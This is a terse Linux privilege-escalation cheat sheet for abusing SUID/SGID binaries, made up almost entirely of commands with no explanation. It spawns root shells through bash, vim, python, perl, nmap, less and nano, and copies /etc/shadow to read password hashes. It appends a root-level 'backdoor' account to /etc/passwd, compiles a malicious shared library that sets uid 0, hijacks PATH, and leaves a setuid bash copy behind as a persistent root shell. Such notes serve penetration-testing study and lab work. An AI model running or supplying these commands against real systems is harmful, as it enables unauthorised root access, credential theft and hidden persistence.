SUID / SGID

find / -perm -4000 -type f 2>/dev/null

find / -perm -2000 -type f 2>/dev/null

find / -perm /6000 -type f 2>/dev/null

https://gtfobins.github.io/#+suid

/bin/bash -p

find . -exec /bin/bash -p \;

# Read shadow
cp /etc/shadow /tmp/shadow

# Add root user to passwd
echo "backdoor:$(openssl passwd -1 password):0:0::/root:/bin/bash" >> /tmp/passwd
cp /tmp/passwd /etc/passwd
su backdoor

vim -c ':!/bin/bash'

python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'

perl -e 'exec "/bin/bash -p";'

nmap --interactive
!sh

echo 'os.execute("/bin/bash -p")' > /tmp/nse.nse
nmap --script=/tmp/nse.nse

env /bin/bash -p

less /etc/shadow
!/bin/bash

nano /etc/shadow
# Read contents, then Ctrl+R → Ctrl+X → command
reset; bash -p 1>&0 2>&0

strings /path/to/suid-binary
ltrace /path/to/suid-binary
strace /path/to/suid-binary

ldd /path/to/suid-binary

#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}

gcc -shared -fPIC -nostartfiles -o /writable/path/lib.so exploit.c

echo '/bin/bash -p' > /tmp/cat
chmod +x /tmp/cat
export PATH=/tmp:$PATH
/path/to/suid-binary

cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash

/tmp/rootbash -p